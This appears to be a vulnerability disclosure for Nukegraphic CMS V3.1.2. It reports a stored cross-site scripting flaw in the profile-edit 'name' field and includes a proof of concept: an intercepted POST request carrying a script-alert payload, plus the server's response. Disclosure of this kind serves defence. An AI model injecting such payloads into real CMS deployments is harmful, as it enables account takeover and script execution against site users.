

Application Name: Nukegraphic CMS V3.1.2

```
← → ↻ 🏠 view-source:https://[REDACTED]/ngc-cms/index.php
1 <!DOCTYPE HTML>
2 <!-- paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ -->
3 <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
4 <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang="en"> <![endif]-->
5 <!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
6 <!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]--><head>
7 <meta charset="UTF-8">
8 <meta name="copyright" content="Nukegraphic Indonesia" />
9 <head>
10 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
11 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
12 <meta name="viewport" content="width=device-width, initial-scale=1">
13 <title>Welcome to Nukegraphic CMS V3.1.2</title>
14 <link rel="shortcut icon" href="images/favicon.png" />
15 <link href="css/login/reset.css" rel="stylesheet" type="text/css" />
16 <link href="http://fonts.googleapis.com/css?family=Roboto:400,300,100,500,700" rel="stylesheet" type="text/css">
17 <link href="css/login/login.css" rel="stylesheet" type="text/css" />
18 <!--<script src="js/jquery.mobile-1.3.1.min.js" type="text/javascript"></script-->
19 <!--[if lte IE 8]>
20 <![endif]-->
21 <!-- Theme color for chrome, firefox and opera-->
22 <meta name="theme-color" content="#a3c639" />
23 <!-- Windows Phone -->
24 <meta name="msapplication-navbutton-color" content="#a3c639">
25 <!-- iOS Safari -->
26 <meta name="apple-mobile-web-app-capable" content="yes">
27 <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
28 <meta name="HandheldFriendly" content="true" />
29 <!-- basic CSS -->
30 <link href="css/login/eqar.css" rel="stylesheet">
```

Vulnerability found by: Carlos Budiman & Nicholas Abraham

Vulnerability 1: Stored Cross Site Scripting at NGC-CMS

Score: 8.1, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Vulnerability Location: <https://target.com/ngc-cms/user-edit-profile.php>

Affected URLs: https://target.com/ngc-cms/* (Script loads site-wide)

Description

During testing, the team intercepted the HTTP request generated when a user edits their profile. By modifying this request and inserting a proof-of-concept (PoC) payload into the *name* field, the malicious script was successfully stored in the backend database.

When the CMS later rendered the name value on various pages, the stored JavaScript executed automatically.

This means the XSS payload appeared:

- On the response page after updating the profile.
- On CMS pages where the name is displayed.
- On any other page that renders the affected field.

Proof of Concept

1. Navigate to Edit Profile & capture a valid edit profile request, add the PoC Script and send the PoC POST Request

The screenshot displays the Network tab of a web browser's developer tools. It shows an intercepted HTTP request and its corresponding response. The request is a POST to `/ngc-cms/user-edit-profile.php` with a `multipart/form-data` body. The response is a `200 OK` status. A red box highlights the PoC script payload in the 'name' field of the request body.

Request

```
10 Origin: https://[redacted]
11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvn2BVTYJOKG551mZ
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://[redacted]/ngc-cms/user-edit-profile.php
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 ----WebKitFormBoundaryvn2BVTYJOKG551mZ
24 Content-Disposition: form-data; name="upload_folder"
25
26 https://[redacted]/uploads/
27 ----WebKitFormBoundaryvn2BVTYJOKG551mZ
28 Content-Disposition: form-data; name="iduser"
29
30 8
31 ----WebKitFormBoundaryvn2BVTYJOKG551mZ
32 Content-Disposition: form-data; name="name"
33
34 <script>alert("1")</script>
35 ----WebKitFormBoundaryvn2BVTYJOKG551mZ
36 Content-Disposition: form-data; name="dash_newpass"
37
38
39 ----WebKitFormBoundaryvn2BVTYJOKG551mZ
40 Content-Disposition: form-data; name="dash_cpass"
41
```

Response

```
1 HTTP/2 200 OK
2 ETag: "19 Nov 1981 08:52:00 GMT"
3 Cache-Control: no-store, no-cache, must-revalidate
4 Pragma: no-cache
5 Vary: Accept-Encoding,User-Agent
6 Content-Type: text/html; charset=UTF-8
7 Date: Tue, 02 Dec 2025 07:43:17 GMT
8 Server: LiteSpeed
9 X-Content-Type-Options: nosniff
10 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
11 Alt-Svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000
12
13 <script>
14   location.href='https://[redacted]/ngc-cms/user-edit-profile.php';
15 </script>
```

2. Javascript is executed CMS-wide.

